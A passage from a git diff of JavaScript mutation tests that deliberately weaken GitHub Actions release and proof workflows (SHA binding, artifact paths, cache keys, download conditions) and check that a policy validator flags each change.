/integration must preserve explicit no-op and Linux scopes/u], - ["release evidence runs implicitly", packagedCoordinatorFile, workflow => { - workflow.jobs["release-evidence"].if = "needs.route.outputs.mode != 'calibration'"; - }, /optional release evidence must run only in explicit release-evidence mode/u], - ["package waits for release evidence", packagedCoordinatorFile, workflow => { - workflow.jobs["packaged-proof"].needs.push("release-evidence"); - }, /package proof must not depend on optional release evidence/u], - ["protected Linux proof removed", packagedCoordinatorFile, workflow => { - workflow.jobs["linux-vulkan-proof"].uses = "./.github/workflows/packaged-platform-proof.yml"; - }, /Linux proof must use the protected Vulkan workflow/u], - ["protected Linux candidate proof disabled", packagedCoordinatorFile, workflow => { - workflow.jobs["linux-vulkan-proof"].with.candidate_installed_proof = false; - }, /Linux proof must close Vulkan and candidate-installed claims/u], - ["manual Linux candidate trusts a non-producer", linuxVulkanFile, workflow => { - workflow.on.workflow_dispatch.inputs.candidate_producer_workflow_path.default - = ".github/workflows/release.yml"; - }, /manual candidate proof must trust the package-producing workflow/u], - ["closeout skips protected Linux", packagedCoordinatorFile, workflow => { - workflow.jobs.closeout.needs = workflow.jobs.closeout.needs - .filter(name => name !== "linux-vulkan-proof"); - }, /closeout must wait for every selected platform proof/u], - ["closeout waits for release evidence", packagedCoordinatorFile, workflow => { - workflow.jobs.closeout.needs.push("release-evidence"); - }, /normal closeout must not depend on optional release evidence/u], - ["Linux package matrix scope removed", packagedProofFile, workflow => { - workflow.jobs.build.strategy.matrix - = workflow.jobs.build.strategy.matrix.replace("inputs.scope == 'linux'", "inputs.scope == 'windows'"); - }, /matrix must select structural JSON by scope/u], - ["package evaluation driver reaches the standard path", packagedProofFile, workflow => { - draftStep(workflow.jobs.build, "Build qualification driver").if - = "matrix.asset_target == 'linux-x64'"; - }, /packaged-platform-proof\.yml/u], - ["package evaluation reaches the standard path", packagedProofFile, workflow => { - const step = draftStep( - workflow.jobs.build, - "Packaged per-user server calibration or qualification", - ); - step.if = "matrix.asset_target == 'linux-x64'"; - }, /packaged-platform-proof\.yml/u], - ["package evaluation downloads calibration on the standard path", packagedProofFile, workflow => { - draftStep(workflow.jobs.build, "Authenticate calibration bundle producer").if - = "matrix.asset_target == 'linux-x64'"; - draftStep(workflow.jobs.build, "Download frozen calibration bundle").if - = "matrix.asset_target == 'linux-x64'"; - }, /packaged-platform-proof\.yml/u], - ["package evaluation artifact upload reaches the standard path", packagedProofFile, workflow => { - draftStep(workflow.jobs.build, "Upload packaged agent proof artifacts").if - = "always() && matrix.asset_target == 'linux-x64'"; - }, /packaged-platform-proof\.yml/u], - ["package calibration artifact escapes into quality evaluation", packagedProofFile, workflow => { - draftStep(workflow.jobs.build, "Upload hosted Linux calibration runs").if - = "success() && matrix.asset_target == 'linux-x64'"; - }, /hosted calibration artifact must remain calibration-only/u], - ["package calibration failure evidence removed", packagedProofFile, workflow => { - workflow.jobs.build.steps = workflow.jobs.build.steps - .filter(({ name }) => name !== "Upload hosted Linux calibration failure evidence"); - }, /hosted calibration failure evidence must stay a failure-only best-effort upload/u], - ["package calibration failure evidence becomes success-gated", packagedProofFile, workflow => { - draftStep(workflow.jobs.build, "Upload hosted Linux calibration failure evidence").if - = "success() && matrix.asset_target == 'linux-x64' && inputs.calibration_mode"; - }, /hosted calibration failure evidence must stay a failure-only best-effort upload/u], - ["package calibration failure evidence fails closed", packagedProofFile, workflow => { - draftStep(workflow.jobs.build, "Upload hosted Linux calibration failure evidence") - .with["if-no-files-found"] = "error"; - }, /hosted calibration failure evidence must stay a failure-only best-effort upload/u], - ["package evaluation becomes a standard server-behavior proof", packagedProofFile, workflow => { - draftStep( - workflow.jobs.build, - "Packaged per-user server calibration or qualification", - ).run += "\n--server-behavior-only"; - }, /optional hosted CPU lane must remain evaluation-only/u], - ["package workflow reclaims candidate-installed proof", packagedProofFile, workflow => { - workflow.on.workflow_call.inputs.candidate_installed_proof = { - required: false, - default: false, - type: "boolean", - }; - }, /package-only workflow must not define candidate_installed_proof/u], - ["package evaluation reads the calibration contract from an unpinned location", packagedProofFile, workflow => { - const step = draftStep( - workflow.jobs.build, - "Packaged per-user server calibration or qualification", + }, /Prove production feature identity on Windows|non-product embedding feature identity/u], + ["Windows packaging is fed a debug CLI", workflow => { + step(workflow, "Package release asset on Windows").env.WINDOWS_CLI = + "target/debug/codestory-cli.exe"; + }, /Windows packaging must verify and package only the exact Cargo-selected release binary/u], + ["the public artifact uses a broad release glob", workflow => { + step(workflow, "Upload release asset").with.path = "target/release-dist/**"; + }, /public package artifact must contain exactly the archive and its two candidate-local checksum files/u], + ["the public artifact includes the private qualification driver", workflow => { + step(workflow, "Upload release asset").with.path += + "target/release-dist/qualification-driver/${{ matrix.asset_target }}\n"; + }, /public package artifact must contain exactly the archive and its two candidate-local checksum files/u], + ["the public artifact drops its candidate-local checksum manifest", workflow => { + const upload = step(workflow, "Upload release asset"); + upload.with.path = upload.with.path.replace( + "target/release-dist/SHA256SUMS.txt\n", + "", ); - step.run = step.run.replaceAll( - "crates/codestory-llama-sys/per-user-embedding-server-constant-set.json", - "per-user-embedding-server-constant-set.json", + }, /public package artifact must contain exactly the archive and its two candidate-local checksum files/u], + ["the candidate record is not source-SHA bound", workflow => { + replaceRun( + workflow, + "Produce exact candidate archive record", + '--source-sha "$SOURCE_SHA"', + '--source-sha "$GITHUB_SHA"', ); - }, /must run test "\$\(jq -r \.status crates\/codestory-llama-sys\/per-user-embedding-server-constant-set\.json\)"/u], - ["Metal calibration reads the calibration contract from an unpinned location", metalProofFile, workflow => { - const step = draftStep( - workflow.jobs["packaged-metal"], - "Collect three independent Metal calibration runs", + }, /Produce exact candidate archive record must run --source-sha/u], + ["the candidate-record artifact is missing", workflow => { + job(workflow).steps = job(workflow).steps.filter( + ({ name }) => name !== "Upload exact candidate archive record", ); - step.run = step.run.replaceAll( - "crates/codestory-llama-sys/per-user-embedding-server-constant-set.json", - "per-user-embedding-server-constant-set.json", + }, /candidate record and private qualification driver must be separate exact stable artifacts/u], + ["the candidate-record artifact name drifts", workflow => { + step(workflow, "Upload exact candidate archive record").with.name = + "codestory-candidate-record-${{ matrix.asset_target }}"; + }, /candidate record and private qualification driver must be separate exact stable artifacts/u], + ["the candidate-record artifact path drifts", workflow => { + step(workflow, "Upload exact candidate archive record").with.path = + "target/release-dist/candidate-archive-record.json"; + }, /candidate record and private qualification driver must be separate exact stable artifacts/u], + ["the candidate-record artifact stops replacing its same-run stable name", workflow => { + step(workflow, "Upload exact candidate archive record").with.overwrite = false; + }, /candidate record and private qualification driver must be separate exact stable artifacts/u], + ["the separate qualification-driver artifact is missing", workflow => { + job(workflow).steps = job(workflow).steps.filter( + ({ name }) => name !== "Upload separate qualification driver", ); - }, /Collect three independent Metal calibration runs must run test "\$\(jq -r \.status crates\/codestory-llama-sys\/per-user-embedding-server-constant-set\.json\)"/u], - ["Vulkan model preparation drops the bypass shell", windowsVulkanFile, workflow => { - delete draftStep(workflow.jobs["packaged-vulkan"], "Prepare checksum-pinned embedded model").shell; - }, /Prepare checksum-pinned embedded model must declare the bypass shell/u], + }, /candidate record and private qualification driver must be separate exact stable artifacts/u], + ["the separate qualification-driver artifact name drifts", workflow => { + step(workflow, "Upload separate qualification driver").with.name = + "qualification-driver-${{ matrix.asset_target }}"; + }, /candidate record and private qualification driver must be separate exact stable artifacts/u], + ["the separate qualification-driver artifact path drifts", workflow => { + step(workflow, "Upload separate qualification driver").with.path = + "target/release-dist/qualification-driver"; + }, /candidate record and private qualification driver must be separate exact stable artifacts/u], + ["the separate qualification-driver artifact is uploaded unconditionally", workflow => { + delete step(workflow, "Upload separate qualification driver").if; + }, /candidate record and private qualification driver must be separate exact stable artifacts/u], + ["the separate qualification-driver artifact stops replacing its same-run stable name", workflow => { + step(workflow, "Upload separate qualification driver").with.overwrite = false; + }, /candidate record and private qualification driver must be separate exact stable artifacts/u], + ["the public package stable artifact stops replacing its same-run name", workflow => { + step(workflow, "Upload release asset").with.overwrite = false; + }, /public package artifact must contain exactly the archive and its two candidate-local checksum files|stable release artifact/u], ]; - assert.deepEqual(validateWorkflows(loadWorkflows()), []); - for (const [name, file, mutate, expectedReason] of mutations) { + for (const [name, mutate, expected] of mutations) { await t.test(name, () => { const workflows = loadWorkflows(); mutate(workflows.get(file)); - assert.match(validateWorkflows(workflows).join("\n"), expectedReason); + const violations = validateWorkflows(workflows); + assert.notDeepEqual(violations, []); + assert.match(violations.join("\n"), expected); }); } }); -test("reusable compiler caches and proof modes reject hostile downgrades", async (t) => { +test("protected candidate consumers key cache reuse by exact source and transfer only on miss", async (t) => { assert.deepEqual(validateWorkflows(loadWorkflows()), []); + const replaceRun = (workflow, jobName, stepName, from, to) => { + const selected = draftStep(workflow.jobs[jobName], stepName); + const before = selected.run; + selected.run = before.replace(from, to); + assert.notEqual(selected.run, before, `mutation did not change ${stepName}`); + }; + const cases = [ + { + file: "macos-metal-proof.yml", + job: "packaged-metal", + authentication: "Authenticate exact candidate artifacts", + authenticationSha: ".workflow_run.head_sha == $sha", + authenticationExpected: /Authenticate exact candidate artifacts must run .workflow_run.head_sha == \$sha/u, + recordName: "codestory-candidate-archive-record-macos-arm64", + recordExpected: /protected cache lookup must consume only the exact small candidate record/u, + restoreSha: ".source.commit == $source_sha", + missIf: "inputs.use_packaged_cli_artifact", + missExpected: /large Actions artifact transfer must be a cache-miss-only authenticated boundary/u, + driverName: "codestory-qualification-driver-macos-arm64", + driverExpected: /private driver must remain a separate authenticated artifact after candidate cache resolution/u, + modelCache: '--cache-root "$RUNNER_TOOL_CACHE/codestory/model-material"', + }, + { + file: "windows-vulkan-proof.yml", + job: "packaged-vulkan", + authentication: "Authenticate exact Windows candidate artifacts", + authenticationSha: "$_.workflow_run.head_sha -eq $sourceSha", + authenticationExpected: /packaged proof must authenticate the exact candidate record, package, and private driver from an allowlisted producer/u, + recordName: "codestory-candidate-archive-record-windows-x64", + recordExpected: /protected cache lookup must consume only the exact small Windows candidate record/u, + restoreSha: "$record.source.commit -ne $sourceSha", + missIf: "inputs.use_packaged_cli_artifact", + missExpected: /large Windows Actions artifact transfer must be cache-miss-only and outer-digest authenticated/u, + driverName: "codestory-qualification-driver-windows-x64", + driverExpected: /private Windows qualification driver must stay separate from the cached public candidate/u, + modelCache: '--cache-root "$env:RUNNER_TOOL_CACHE/codestory/model-material"', + }, + { + file: "linux-vulkan-proof.yml", + job: "packaged-vulkan", + authentication: "Authenticate exact Linux candidate artifacts", + authenticationSha: ".workflow_run.head_sha == $sha", + authenticationExpected: /must authenticate one exact-head candidate record, package, and private driver from an allowlisted producer/u, + recordName: "codestory-candidate-archive-record-linux-x64", + recordExpected: /protected cache lookup must consume only the exact small Linux candidate record/u, + restoreSha: ".source.commit == $source_sha", + missIf: "true", + missExpected: /large Linux Actions artifact transfer must be cache-miss-only and outer-digest authenticated/u, + driverName: "codestory-qualification-driver-linux-x64", + driverExpected: /private Linux qualification driver must stay separate from the cached public candidate/u, + }, + ]; - const sourceFile = "source-proof.yml"; - const packagedFile = "packaged-platform-proof.yml"; - const coordinatorFile = "packaged-platform-pr.yml"; - const releaseFile = "release.yml"; - const sourceJob = workflow => workflow.jobs["full-source-gate"]; - const packagedJob = workflow => workflow.jobs.build; - const sourceIdentity = workflow => - draftStep(sourceJob(workflow), "Capture reusable build cache contract"); - const packagedIdentity = workflow => - draftStep(packagedJob(workflow), "Capture reusable build cache contract"); - - const mutations = [ - ["release workflow policy loses its full history", releaseFile, workflow => { - delete workflow.jobs["workflow-policy"].steps[0].with; - }, /workflow-policy must check out full history for the reuse-binding contracts/u], - ["marketplace preflight proves the live revision against a fixture", releaseFile, workflow => { - const step = draftStep(workflow.jobs["preflight"], "Prove the public marketplace install path"); - step.run = step.run.replace('--marketplace-revision "$fixture_revision"', '--marketplace-revision "$marketplace_revision"'); - }, /--marketplace-revision "\$fixture_revision"/u], - ["source compiler restore becomes exact-SHA-only", sourceFile, workflow => { - draftStep(sourceJob(workflow), "Restore compatible compiler objects") - .with["restore-keys"] = "${{ steps.build-cache.outputs.compiler-key }}"; - }, /source-proof\.yml compiler cache must restore the newest compatible prior candidate/u], - ["packaged compiler restore becomes exact-SHA-only", packagedFile, workflow => { - draftStep(packagedJob(workflow), "Restore compatible compiler objects") - .with["restore-keys"] = "${{ steps.build-cache.outputs.compiler-key }}"; - }, /packaged-platform-proof\.yml compiler cache must restore the newest compatible prior candidate/u], - ["packaged dependency restore accepts stale inputs", packagedFile, workflow => { - draftStep(packagedJob(workflow), "Restore Cargo dependency inputs") - .with["restore-keys"] = "codestory-release-dependencies-"; - }, /dependency cache must be exact-input-only and exclude compiler output/u], - ["source dependency cache escapes isolation", sourceFile, workflow => { - draftStep(sourceJob(workflow), "Restore Cargo dependency inputs") - .with.path = "~/.cargo/registry\n~/.cargo/git"; - }, /dependency cache must be exact-input-only and exclude compiler output/u], - ["packaged dependency cache escapes isolation", packagedFile, workflow => { - draftStep(packagedJob(workflow), "Restore Cargo dependency inputs") - .with.path = "~/.cargo/registry\n~/.cargo/git"; - }, /dependency cache must be exact-input-only and exclude compiler output/u], - ["packaged dependency cache loses its bound", packagedFile, workflow => { - delete workflow.env.CARGO_DEPENDENCY_CACHE_MAX_BYTES; - }, /must pin bounded compiler and dependency caches/u], - ["packaged Windows compiler cache loses its mixed-workload bound", packagedFile, workflow => { - workflow.env.WINDOWS_SCCACHE_CACHE_SIZE = "1G"; - }, /must pin bounded compiler and dependency caches/u], - ["source invalidation loses Cargo.lock", sourceFile, workflow => { - sourceIdentity(workflow).run = sourceIdentity(workflow).run - .replace("--lock-file Cargo.lock", "--lock-file Cargo.toml"); - }, /source-proof\.yml must compute one reusable compiler compatibility contract/u], - ["source invalidation loses Cargo config", sourceFile, workflow => { - sourceIdentity(workflow).run = sourceIdentity(workflow).run - .replace("--cargo-config .cargo/config.toml", "--cargo-config Cargo.toml"); - }, /source-proof\.yml must compute one reusable compiler compatibility contract/u], - ["source invalidation loses feature set", sourceFile, workflow => { - sourceIdentity(workflow).run = sourceIdentity(workflow).run - .replace( - "--features workspace-test-default-and-clippy-all-targets-all-features", - "--features default", + for (const platform of cases) { + await t.test(`${platform.file}: producer artifact SHA check removed`, () => { + const workflows = loadWorkflows(); + const workflow = workflows.get(platform.file); + replaceRun( + workflow, + platform.job, + platform.authentication, + platform.authenticationSha, + "true", + ); + assert.match(validateWorkflows(workflows).join("\n"), platform.authenticationExpected); + }); + + await t.test(`${platform.file}: record source SHA check removed from cache key`, () => { + const workflows = loadWorkflows(); + const workflow = workflows.get(platform.file); + replaceRun( + workflow, + platform.job, + "Restore exact candidate archive from protected host", + platform.restoreSha, + "true", + ); + assert.match( + validateWorkflows(workflows).join("\n"), + /Restore exact candidate archive from protected host|reviewed protected .* workflow structure/u, + ); + }); + + await t.test(`${platform.file}: large transfer made unconditional`, () => { + const workflows = loadWorkflows(); + const workflow = workflows.get(platform.file); + draftStep( + workflow.jobs[platform.job], + "Download, authenticate, and admit candidate archive on miss", + ).if = platform.missIf; + assert.match(validateWorkflows(workflows).join("\n"), platform.missExpected); + }); + + await t.test(`${platform.file}: small candidate record name drifts`, () => { + const workflows = loadWorkflows(); + const workflow = workflows.get(platform.file); + draftStep( + workflow.jobs[platform.job], + "Download authenticated candidate record", + ).with.name = platform.recordName.replace("candidate-archive-record", "package-record"); + assert.match(validateWorkflows(workflows).join("\n"), platform.recordExpected); + }); + + await t.test(`${platform.file}: private driver is read from the public package`, () => { + const workflows = loadWorkflows(); + const workflow = workflows.get(platform.file); + const download = draftStep( + workflow.jobs[platform.job], + "Download separate authenticated qualification driver", + ); + download.with.name = platform.driverName.replace( + "codestory-qualification-driver", + "codestory-cli", + ); + assert.match(validateWorkflows(workflows).join("\n"), platform.driverExpected); + }); + + if (platform.modelCache) { + await t.test(`${platform.file}: protected model material cache is omitted`, () => { + const workflows = loadWorkflows(); + const workflow = workflows.get(platform.file); + replaceRun( + workflow, + platform.job, + "Prepare checksum-pinned embedded model", + platform.modelCache, + "--cache-root target/model-material", ); - }, /source-proof\.yml must compute one reusable compiler compatibility contract/u], - ["source invalidation loses workspace manifests", sourceFile, workflow => { - sourceIdentity(workflow).run = sourceIdentity(workflow).run - .replace("git ls-files '*Cargo.toml'", "printf '%s\\n' Cargo.toml"); - }, /source-proof\.yml must compute one reusable compiler compatibility contract/u], - ["packaged invalidation loses Rust version", packagedFile, workflow => { - packagedIdentity(workflow).run = packagedIdentity(workflow).run - .replace('--rust-version "$rust_version"', "--rust-release ignored"); - }, /packaged-platform-proof\.yml must compute one complete reusable compiler compatibility contract/u], - ["packaged invalidation loses target", packagedFile, workflow => { - packagedIdentity(workflow).run = packagedIdentity(workflow).run - .replace('--target "${{ matrix.rust_target }}"', "--architecture ignored"); - }, /packaged-platform-proof\.yml must compute one complete reusable compiler compatibility contract/u], - ["packaged invalidation loses feature set", packagedFile, workflow => { - packagedIdentity(workflow).run = packagedIdentity(workflow).run - .replace("--features codestory-cli-default-features", "--features default"); - }, /packaged-platform-proof\.yml must compute one complete reusable compiler compatibility contract/u], - ["packaged invalidation loses native toolchain", packagedFile, workflow => { - packagedIdentity(workflow).run = packagedIdentity(workflow).run - .replace('--native-toolchain "$native_toolchain"', "--toolchain ignored"); - }, /packaged-platform-proof\.yml must compute one complete reusable compiler compatibility contract/u], - ["packaged invalidation loses generator", packagedFile, workflow => { - packagedIdentity(workflow).run = packagedIdentity(workflow).run - .replace('--generator "$generator"', "--build-system ignored"); - }, /packaged-platform-proof\.yml must compute one complete reusable compiler compatibility contract/u], - ["packaged invalidation loses CMake", packagedFile, workflow => { - packagedIdentity(workflow).run = packagedIdentity(workflow).run - .replace('--cmake-version "$cmake_version"', "--cmake ignored"); - }, /packaged-platform-proof\.yml must compute one complete reusable compiler compatibility contract/u], - ["packaged invalidation loses Ninja", packagedFile, workflow => { - packagedIdentity(workflow).run = packagedIdentity(workflow).run - .replace('--ninja-version "$ninja_version"', "--ninja ignored"); - }, /packaged-platform-proof\.yml must compute one complete reusable compiler compatibility contract/u], - ["packaged invalidation loses Cargo.lock", packagedFile, workflow => { - packagedIdentity(workflow).run = packagedIdentity(workflow).run - .replace("--lock-file Cargo.lock", "--lock-file Cargo.toml"); - }, /packaged-platform-proof\.yml must compute one complete reusable compiler compatibility contract/u], - ["packaged invalidation loses Cargo config", packagedFile, workflow => { - packagedIdentity(workflow).run = packagedIdentity(workflow).run - .replace("--cargo-config .cargo/config.toml", "--cargo-config Cargo.toml"); - }, /packaged-platform-proof\.yml must compute one complete reusable compiler compatibility contract/u], - ["packaged invalidation loses workspace manifests", packagedFile, workflow => { - packagedIdentity(workflow).run = packagedIdentity(workflow).run - .replace("git ls-files '*Cargo.toml'", "printf '%s\\n' Cargo.toml"); - }, /packaged-platform-proof\.yml must compute one complete reusable compiler compatibility contract/u], - ["packaged invalidation loses Windows native installer", packagedFile, workflow => { - packagedIdentity(workflow).run = packagedIdentity(workflow).run - .replace(".github/scripts/install-windows-vulkan-sdk.ps1", "ignored-windows-input"); - }, /packaged-platform-proof\.yml must compute one complete reusable compiler compatibility contract/u], - ["packaged invalidation loses Linux Dockerfile", packagedFile, workflow => { - packagedIdentity(workflow).run = packagedIdentity(workflow).run - .replace(".github/docker/linux-glibc-build.Dockerfile", ".github/docker/ignored.Dockerfile"); - }, /packaged-platform-proof\.yml must compute one complete reusable compiler compatibility contract/u], - ["packaged invalidation loses Linux glslc inputs", packagedFile, workflow => { - packagedIdentity(workflow).run = packagedIdentity(workflow).run - .replace(".github/docker/glslc", ".github/docker/ignored-glslc"); - }, /packaged-platform-proof\.yml must compute one complete reusable compiler compatibility contract/u], - ["packaged invalidation loses Linux build image", packagedFile, workflow => { - packagedIdentity(workflow).run = packagedIdentity(workflow).run - .replace("LINUX_GLIBC_BUILD_IMAGE", "UNPINNED_BUILD_IMAGE"); - }, /packaged-platform-proof\.yml must compute one complete reusable compiler compatibility contract/u], - ["packaged invalidation loses Linux glslc image", packagedFile, workflow => { - packagedIdentity(workflow).run = packagedIdentity(workflow).run - .replace("LINUX_GLSLC_IMAGE", "UNPINNED_GLSLC_IMAGE"); - }, /packaged-platform-proof\.yml must compute one complete reusable compiler compatibility contract/u], - ["packaged workload variants collide", packagedFile, workflow => { - packagedIdentity(workflow).run = packagedIdentity(workflow).run - .replace('--identity "qualification_driver=$qualification_driver"', "--workload ignored"); - }, /packaged-platform-proof\.yml must compute one complete reusable compiler compatibility contract/u], - ["source compiler cache waits for tests", sourceFile, workflow => { - moveNamedStepAfter( - sourceJob(workflow), - "Save compiler objects after compilation", - "Test the complete workspace once", + assert.match( + validateWorkflows(workflows).join("\n"), + /Prepare checksum-pinned embedded model/u, + ); + }); + } + } + + await t.test("optional Linux Vulkan calibration omits the protected model cache", () => { + const workflows = loadWorkflows(); + const workflow = workflows.get("linux-vulkan-proof.yml"); + replaceRun( + workflow, + "optional-constant-calibration", + "Prepare checksum-pinned embedded model", + '--cache-root "$RUNNER_TOOL_CACHE/codestory/model-material"', + "--cache-root target/model-material", + ); + assert.match( + validateWorkflows(workflows).join("\n"), + /Prepare checksum-pinned embedded model/u, + ); + }); +}); + +test("post-publish candidate reuse authenticates release metadata and transfers large bytes once", async (t) => { + assert.deepEqual(validateWorkflows(loadWorkflows()), []); + const file = "post-publish-release-smoke.yml"; + const job = workflow => workflow.jobs.smoke; + const step = (workflow, name) => draftStep(job(workflow), name); + const replaceRun = (workflow, name, from, to) => { + const selected = step(workflow, name); + const before = selected.run; + selected.run = before.replace(from, to); + assert.notEqual(selected.run, before, `mutation did not change ${name}`); + }; + const mutations = [ + ["the release tag lookup is replaced by latest", workflow => { + replaceRun( + workflow, + "Authenticate published candidate assets", + 'releases/tags/$TAG', + "releases/latest", ); - }, /source-proof\.yml compiler cache must save before test execution or release-cell failure/u], - ["packaged compiler cache waits for protected regression", packagedFile, workflow => { - moveNamedStepAfter( - packagedJob(workflow), - "Save compiler objects after compilation", - "Test immutable native staging on Windows", + }, /published candidate authentication must bind the release tag, commit, target, and exact asset metadata|Authenticate published candidate assets/u], + ["the returned release tag is not checked", workflow => { + replaceRun( + workflow, + "Authenticate published candidate assets", + 'test "$(jq -r .tag_name <<<"$release")" = "$TAG"', + "true", ); - }, /compiler cache must save before late Test immutable native staging on Windows failure/u], - ["packaged compiler cache waits for signing", packagedFile, workflow => { - moveNamedStepAfter( - packagedJob(workflow), - "Save compiler objects after compilation", - "Sign and notarize macOS CLI", + }, /Authenticate published candidate assets/u], + ["published asset size provenance is not validated", workflow => { + replaceRun( + workflow, + "Authenticate published candidate assets", + '[[ "$(jq -r .size <<<"$value")" =~ ^[0-9]+$ ]]', + "true", ); - }, /compiler cache must save before late Sign and notarize macOS CLI failure/u], - ["packaged compiler cache waits for packaging", packagedFile, workflow => { - moveNamedStepAfter( - packagedJob(workflow), - "Save compiler objects after compilation", - "Package release asset", + }, /Authenticate published candidate assets/u], + ["published asset digest provenance is not validated", workflow => { + replaceRun( + workflow, + "Authenticate published candidate assets", + '[[ "$(jq -r .digest <<<"$value")" =~ ^sha256:[0-9a-f]{64}$ ]]', + "true", ); - }, /compiler cache must save before late Package release asset failure/u], - ["packaged compile timer includes cache uploads", packagedFile, workflow => { - moveNamedStepAfter( - packagedJob(workflow), - "Stop compilation clock", - "Save compiler objects after compilation", + }, /Authenticate published candidate assets/u], + ["published record source SHA is rebound to the workflow checkout", workflow => { + step(workflow, "Authenticate published candidate assets").env.PUBLISHED_COMMIT = + "${{ github.sha }}"; + }, /published candidate authentication must bind the release tag, commit, target, and exact asset metadata/u], + ["published cache key no longer checks the source SHA", workflow => { + replaceRun( + workflow, + "Restore published candidate archive from protected host", + ".source.commit == $source_sha", + "true", ); - }, /compile and compiler-cache-save timings must cover only their named stages/u], - ["source compile telemetry omits its end boundary", sourceFile, workflow => { - const report = draftStep(sourceJob(workflow), "Report compiler cache save"); - report.run = report.run.replace('--ended-ms "$ENDED_MS" \\\n', ""); - }, /step Report compiler cache save must run --ended-ms/u], - ["source cache restores Cargo target output", sourceFile, workflow => { - const restore = draftStep(sourceJob(workflow), "Restore compatible compiler objects"); - restore.with.path += "\ntarget"; - }, /source-proof\.yml cache paths must exclude Cargo target and exact proof outputs/u], - ["packaged cache restores release-dist", packagedFile, workflow => { - const restore = draftStep(packagedJob(workflow), "Restore compatible compiler objects"); - restore.with.path += "\nrelease-dist"; - }, /packaged-platform-proof\.yml cache paths must exclude Cargo target, native seeds, models, proofs, and exact archives/u], - ["packaged cache restores an exact archive", packagedFile, workflow => { - const restore = draftStep(packagedJob(workflow), "Restore compatible compiler objects"); - restore.with.path += "\n/tmp/codestory-linux-x64.tar.gz"; - }, /packaged-platform-proof\.yml cache paths must exclude Cargo target, native seeds, models, proofs, and exact archives/u], - ["packaged cache saves proof output", packagedFile, workflow => { - const save = draftStep(packagedJob(workflow), "Save compiler objects after compilation"); - save.with.path += "\ntarget/notarization-proof"; - }, /packaged-platform-proof\.yml cache paths must exclude Cargo target, native seeds, models, proofs, and exact archives/u], - ["package dispatch mode is removed", coordinatorFile, workflow => { - workflow.on.workflow_dispatch.inputs.mode.options - = workflow.on.workflow_dispatch.inputs.mode.options.filter(mode => mode !== "package"); - }, /packaged-platform-pr\.yml dispatch modes changed/u], - ["package mode skips archive construction", coordinatorFile, workflow => { - workflow.jobs["packaged-proof"].if = workflow.jobs["packaged-proof"].if - .replace("needs.route.outputs.mode == 'package' || ", ""); - }, /package and platform modes must build fresh archives while only qualification runs the cold Linux boundary/u], - ["package mode enables frozen Linux qualification", coordinatorFile, workflow => { - workflow.jobs["packaged-proof"].with.hermetic_linux = true; - }, /package and platform modes must build fresh archives while only qualification runs the cold Linux boundary/u], - ["qualification mode disables frozen Linux qualification", coordinatorFile, workflow => { - workflow.jobs["packaged-proof"].with.hermetic_linux = false; - }, /package and platform modes must build fresh archives while only qualification runs the cold Linux boundary/u], - ["platform mode enables frozen Linux qualification", coordinatorFile, workflow => { - workflow.jobs["packaged-proof"].with.hermetic_linux - = "${{ needs.route.outputs.mode == 'platform' }}"; - }, /package and platform modes must build fresh archives while only qualification runs the cold Linux boundary/u], - ["package mode enables protected Metal proof", coordinatorFile, workflow => { - workflow.jobs["macos-metal-proof"].if = workflow.jobs["macos-metal-proof"].if - .replace("needs.route.outputs.mode != 'package' &&", ""); - }, /package-only mode must skip protected Metal proof/u], - ["package mode enables protected Windows proof", coordinatorFile, workflow => { - workflow.jobs["windows-vulkan-proof"].if = workflow.jobs["windows-vulkan-proof"].if - .replace("needs.route.outputs.mode != 'package' &&", ""); - }, /package-only mode must skip protected Windows proof/u], - ["package mode enables protected Linux proof", coordinatorFile, workflow => { - workflow.jobs["linux-vulkan-proof"].if = workflow.jobs["linux-vulkan-proof"].if - .replace("needs.route.outputs.mode != 'package' &&", ""); - }, /package-only mode must skip protected Linux proof/u], - ["calibration mode enables frozen Linux qualification", coordinatorFile, workflow => { - workflow.jobs["calibration-linux"].with.hermetic_linux = true; - }, /hosted Linux calibration must call packaged proof in calibration mode/u], - ["coordinator adds a macOS source hard gate", coordinatorFile, workflow => { - workflow.jobs["macos-source"] = { - "runs-on": "macos-14", - steps: [], - }; - }, /packaged-platform-pr\.yml standard coordinator must not add a macOS source hard gate/u], - ["package matrix repeats frozen Linux qualification", packagedFile, workflow => { - packagedJob(workflow).steps.push(structuredClone(draftStep( - workflow.jobs["frozen-linux-qualification"], - "Prove fresh-target Node-absent network-denied Cargo release boundary", - ))); - }, /matrix package jobs must not repeat the frozen Linux Cargo boundary/u], - ["frozen Linux qualification becomes unconditional", packagedFile, workflow => { - workflow.jobs["frozen-linux-qualification"].if = "always()"; - }, /frozen Linux Cargo boundary must be one explicit post-package job/u], - ["frozen Linux qualification restores exact archives", packagedFile, workflow => { - workflow.jobs["frozen-linux-qualification"].steps.push({ - name: "Restore exact package archive", - uses: "actions/cache/restore@v5", - with: { - path: "release-dist/codestory-linux-x64.tar.gz", - key: "forbidden-exact-archive", - }, - }); - }, /frozen Linux fresh-target qualification must not restore compiler output/u], - ["Linux compiler cache exits with an active server", packagedFile, workflow => { - const build = draftStep(packagedJob(workflow), "Build Linux x64 at the glibc 2.31 baseline"); - build.run = build.run.replace("/sccache/sccache --stop-server", "true"); - }, /step Build Linux x64 at the glibc 2\.31 baseline must run \/sccache\/sccache --stop-server/u], - ["package checkout accepts a fallback SHA", packagedFile, workflow => { - draftStep(packagedJob(workflow), "Checkout").with.ref = "${{ inputs.ref || github.sha }}"; - }, /package jobs must checkout only the requested exact SHA/u], - ["package smoke loses source identity", packagedFile, workflow => { - const smoke = draftStep(packagedJob(workflow), "Smoke packaged release asset"); - smoke.run = smoke.run.replace( - '--expected-source-sha "${{ steps.source-identity.outputs.sha }}" \\\n', - "", + }, /Restore published candidate archive from protected host/u], + ["published cache lookup loses its exact source binding", workflow => { + delete step(workflow, "Restore published candidate archive from protected host") + .env.PUBLISHED_COMMIT; + }, /published candidate cache lookup must be unconditional and exact-source bound/u], + ["published large archive transfer is unconditional", workflow => { + delete step(workflow, "Download, verify, and admit published candidate on miss").if; + }, /published archive transfer must run only on an exact cache miss/u], + ["published large archive is downloaded a second time", workflow => { + step(workflow, "Download authenticated published checksum manifest").run += + '\ncurl "$GITHUB_API_URL/repos/$GITHUB_REPOSITORY/releases/assets/$id"'; + }, /must resolve the protected cache before any large release-asset transfer and never use an unconditional bulk download/u], + ["bulk gh release download returns", workflow => { + step(workflow, "Download authenticated published checksum manifest").run += + '\ngh release download "$TAG"'; + }, /must resolve the protected cache before any large release-asset transfer and never use an unconditional bulk download/u], + ["published archive size output is dropped", workflow => { + replaceRun( + workflow, + "Authenticate published candidate assets", + 'echo "archive-bytes=$(jq -r .size <<<"$archive_asset")"', + "true", ); - }, /step 